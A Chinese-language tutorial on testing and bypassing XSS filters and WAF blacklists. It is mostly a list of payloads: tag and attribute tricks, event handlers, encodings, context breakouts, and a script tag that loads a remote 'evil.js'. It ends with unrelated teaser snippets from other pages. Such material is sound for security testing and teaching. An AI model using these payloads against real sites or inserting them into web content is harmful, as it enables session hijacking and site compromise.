0x00 背景
本文来自于《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss过滤的部分,前面有根据WAF特征确定是哪个WAF的测试方法给略过了,重点来看一下后面绕xss的一些基本的测试流程,虽说是绕WAF的,但这里还是根据WAF中的正则缺陷来绕过测试方法,并不是协议上问题,所以呢,基本可以通用于其他xss过滤的场景。方便新手们比较快速的了解到测试xss的一些基本的方法。
0x01 Bypassing黑名单
大多数的场所是用的黑名单来做过滤器的,有三种方式绕过黑名单的测试:
1、暴力测试(输入大量的payload,看返回结果) 2、根据正则推算 3、利用浏览器bug
初步测试
1)尝试插入比较正常的HTML标签,例如:<b>,<i>,<u>
来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
2)尝试插入不闭合的标签,例如:<b,<i,<u,<marquee
然后看一下返回响应,是否对开放的标签也有过滤。
3)然后测试几个XSS的payload,基本所有的xss过滤器都会进行过滤的:
<script>alert(1);</script> <script>prompt(1);</script> <script>confirm(1);</script> <scriptsrc="http://rhainfosec.com/evil.js">
看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert,prompt,confirm
字符,再尝试大小写的组合:
<scRiPt>alert(1);</scrIPt>
4)如果过滤器仅仅是把<script>
和</script>
标签过滤掉,那么可以用
<scr<script>ipt>alert(1)</scr<script>ipt>
的方式来绕过,这样当<script>
标签被过滤掉,剩下的组合起来刚好形成一个完整的payload。
5)用<a href
标签来测试,看返回响应
<a href="http://www.google.com">Clickme</a>
<a
标签是否被过滤 href是否被过滤 href里的数据是否被过滤
如果没有数据被过滤,插入javascript协议看看:
<a href="javascript:alert(1)">Clickme</a>
是否返回错误 javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符 尝试下大小写转换
继续测试事件触发执行javascript:
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
看onmouseover事件是否被过滤。测试一个无效的事件,看过滤规则:
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
是完整的返回了呢,还是跟onmouseover一样被干掉了。
如果是完整的返回的话呢,那么意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件测试一个很少见的事件:
<body/onhashchange=alert(1)><a href=#>clickit
测试其他标签
接下来测试其他的标签跟属性
Src属性
<img src=x onerror=prompt(1);> <img/src=aaa.jpg onerror=prompt(1);> <video src=x onerror=prompt(1);> <audio src=x onerror=prompt(1);>
iframe标签
<iframe src="javascript:alert(2)"> <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed标签
<embed/src=//goo.gl/nlX0P>
action属性
利用<form,<isindex
等标签中的action属性执行javascript
<form action="Javascript:alert(1)"><input type=submit> <isindex action="javascript:alert(1)" type=image> <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> <isindex action=data:text/html, type=image> <formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
formaction属性
<isindexformaction="javascript:alert(1)" type=image> <input type="image" formaction=JaVaScript:alert(0)> <form><button formaction=javascript:alert(1)>CLICKME
background属性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
poster属性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <object/data=//goo.gl/nlX0P?
code属性
<applet code="javascript:confirm(document.cookie);"> // Firefox有效 <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件触发
<svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="javascript:alert(1)">
最短的测试向量
<q/oncut=open()> <q/oncut=alert(1)>//在限制长度的地方很有效
嵌套
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)> <bodylanguage=vbsonload=alert-1//IE8有效 <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> //IE8有效
过滤括号的情况下
当括号被过滤的时候可以使用throw来绕过
<a onmouseover="javascript:window.onerror=alert;throw 1> <img src=x onerror="javascript:window.onerror=alert;throw 1">
以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
expression属性
<img style="xss:expression(alert(0))"> // IE7以下 <div style="color:rgb(''�x:expression(alert(1))"></div> // IE7以下 <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
location属性
<a onmouseover=location='javascript:alert(1)'>click <body onfocus="loaction='javascript:alert(1)'">123
其他的一些payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click
当= ( ) ; :被过滤时
<svg><script>alert(/1/)</script> // 通杀所有浏览器
opera中可以不闭合
<svg><script>alert( 1) // Opera可查
实体编码
很多情况下WAF会实体编码用户的输入数据,
javascript是一个很灵活的语言,可以使用很多编码,比如十六进制,Unicode和HTML。但是也对这些编码可以用在哪个位置有规定:
属性:
href= action= formaction= location= on*= name= background= poster= src= code=
支持的编码方式:HTML,八进制,十进制,十六进制和Unicode
属性:
data=
支持的编码:base64
基于上下文的过滤
WAF最大的问题,在于不知道输出的位置的上下文,导致根据具体环境可以绕过。
输入在属性里
<input value="XSStest" type=text>
可控位置为XSStest,可以使用
"><img src=x onerror=prompt(0);>
如果< >
被过滤的话可以换成
" autofocus onfocus=alert(1)//
同样还有很多其他的payload:
"onmouseover=" prompt(0)x=" "onfocusin=alert(1) autofocusx=" " onfocusout=alert(1) autofocus x=" "onblur=alert(1) autofocusa="
输入在script标签中
例如:
<script> Var x="Input"; </script>
可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了
";alert(1)//
最终结果就是
<script> Var x="";alert(1)// </script>
非常规的事件监听
例如:
";document.body.addEventListener("DOMActivate",alert(1))// ";document.body.addEventListener("DOMActivate",prompt(1))// ";document.body.addEventListener("DOMActivate",confirm(1))//
下面是一些相同的类:
DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified
HREF内容可控
例如:
<a href="Userinput">Click</a>
可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:
javascript:alert(1)//
最后组合为:
<a href="javascript:alert(1)//">Click</a>
变换
使用HTML实体URL编码绕过黑名单,href里会自动实体解码,如果都失败了,可以尝试使用vbscript在IE10以下都有效,或者使用data协议。
JavaScript变换
使用javascript协议时可使用的例子:
javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie)
Vbscript变换
vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)" Data URl data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON
当你的输入会在encodeURIComponent当中显示出来的时候,很容易插入xss代码了
encodeURIComponent('userinput')
userinput处可控,测试代码:
-alert(1)- -prompt(1)- -confirm(1)-
最终结果:
encodeURIComponent("-alert(1)-") encodeURIComponent("-prompt(1)-")
SVG标签
当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>
YourInput可控,输入
www.site.com/test.php?var=text";alert(1)//
如果把"编码一些他仍然能够执行:
<svg><script>varmyvar="text";alert(1)//";</script></svg>
浏览器bug
字符集的bug在IE中出现过很多次,第一个就是UTF-7,但是这个只在之前的版本中可用,现在讨论一个在现在的浏览器当中可以执行的javascript。
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
这个页面当中我们可控当前页面的字符集,当我们常规的测试时:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
返回结果可以看到双引号被编码了:
<html> <meta charset="utf-8"></meta> <body> <input type="text" value=""><img src=x onerror=prompt(0);>"></input> </body> </html>
设置字符集为UTF-32:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面这个在IE9及以下版本可以执行成功。
利用0字节绕过:
<scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
在IE9及以下版本有效。
其他等等一系列浏览器特性的XSS可以参考以下文章:
http://drops.wooyun.org/tips/147
0x02 总结
本文主要是一个测试XSS的思路流程,并没有把所有的payload写全,其实也没有人能够写全,只是列了一个大体的框架,大家实际在寻找的过程中可以不断慢慢的根据这种思路补充自己的payload,想必呢,一定会有很大的进步的!~
相关推荐
以下是一些常见的XSS bypass技巧和方法: 1. **编码与解码**:攻击者可能会尝试使用各种编码方式来逃避过滤机制,如URL编码(%编码)、HTML实体编码、JavaScript编码等。例如,将 `<script>` 标签转换为 `%3Cscript...
2 Bypass Chrome XSS Auditor 2.1 字符集问题产生的bypass 2.2 过滤关键字造成的bypass 2.3 协议理解产生的bypass 2.4 标签导致的绕过 2.5 上传swf导致flash-xss所产生的bypass 2.6 crlf产生的bypass 3 各类针对...
- 开启XSS防护机制:许多现代浏览器提供了内置的XSS过滤功能,合理配置可以增加网站的安全性。 5. **XSS PoC(Proof of Concept)** - PoC是证明XSS漏洞存在的实际示例。通常包含一个能触发XSS的特定输入,用于...
这份"XSS Bypass Cookbook 4.0"很可能是针对XSS过滤机制的破解策略大全,旨在帮助安全研究人员和开发人员更好地理解XSS攻击及其防御方法。 XSS攻击通常分为三种类型:反射型XSS、存储型XSS和DOM型XSS。反射型XSS是...
xss 跨站脚本攻击汇总 ...xss 跨站脚本攻击可以通过多种方式 inject 恶意脚本,攻击者可以使用不同的技术和方法来 bypass 安全机制。因此,防御 xss 跨站脚本攻击需要使用多种安全机制和技术来防御攻击。
XSS猎人的捕猎日记中记载着gainover,一位在PKAV团队任职,是乌云核心白帽子同时也...XSS攻击的防御需要从多个层面进行,包括代码审查、安全测试、以及对用户输入进行有效的过滤和转义等措施,以确保Web应用的安全性。
在互联网安全领域,Web应用防火墙(WAF)作为一种流行的防护手段,用于保护Web应用免受诸如SQL注入、跨站脚本攻击(XSS)等常见攻击方式的侵害。然而,随着WAF的广泛部署,攻击者也在不断探索绕过这些安全防护层的...
WAFs设计用于保护网站免受SQL注入、跨站脚本攻击(XSS)、CSRF等常见Web攻击,但有时它们可能会误报或漏报,这时就需要正确地bypass WAF以测试网站的安全性。 ### **一、HTTP数据包认识** 理解HTTP数据包是绕过WAF...
有效载荷集合,如"XSS-SQL-Master-Payloads",是攻击者和安全研究人员用来测试系统漏洞和防御策略的工具集。这些集合包含了各种已知的有效攻击字符串,可以帮助开发者了解可能的攻击方式,并在开发过程中进行防范。...
另一个Bypass方法是传统方法,提供了很简单的tamper,核心代码只有一句,可以用sqlmap跑自动化,大致可以通杀安全狗。遇到无法读数据库情况,例如拦截了INFORMATION_SCHEMA,可以配合触发内置白名单的方法,直接放行...
4. **跨站脚本 (XSS)**:利用 WAF 对某些输入字符的过滤不足,通过注入恶意脚本来实现攻击目的。 - **反射 XSS**:通过 URL 或其他用户控制的数据来触发。 - **存储 XSS**:将恶意脚本存储在服务器上,然后通过...
- **2.3.2 LAB: Client Side Filtering (客户端过滤)**:介绍如何使用客户端过滤机制防御某些类型的攻击。 - **2.3.3 Same Origin Policy Protection (同源保护)**:解释同源策略的基本原理及其重要性。 - **2.3.4 ...
该方法可以 bypass 系统的验证机制,获取敏感信息。 @Web writeup 是一个关于网络安全的技能竞赛,旨在考察参与者的网络安全知识和技能。本文通过详细地讲解@Web writeup 的基本概念、CTF、Nagios、ADO.NET、SDL、...
- 使用 Web 应用防火墙 (WAF) 来检测和阻止此类攻击。 - 实施安全编码实践,避免在关键位置使用不可信的用户输入。 #### Access Control Flaws - **Using an Access Control Matrix**:网站通常通过访问控制矩阵...
3. **硬件架构**:基础网络接口包括6个电口,2对千兆电口Bypass,以及可扩展的4个千兆电/光口。系统需要有高吞吐能力和并发处理能力,最大吞吐能力超过2000Mbps-4000Mbps(扩展后),最大HTTP吞吐能力1000Mbps-2000...
5. **Bypass(绕过)**:在安全测试中,找到绕过现有安全措施的方法是常见的挑战。例如,可能需要寻找方法绕过验证码、访问控制或内容过滤。 6. **SSRF(服务器端请求伪造)**:攻击者可以利用SSRF漏洞,通过服务器...
了解HTTP头部篡改、XSS过滤绕过、CSRF令牌规避等方法,将大大提高你在寻找漏洞时的效率。 二、有效载荷:有效载荷是利用漏洞实施攻击的核心。它可能是注入的SQL语句、JavaScript代码或者任意可执行的命令。理解不同...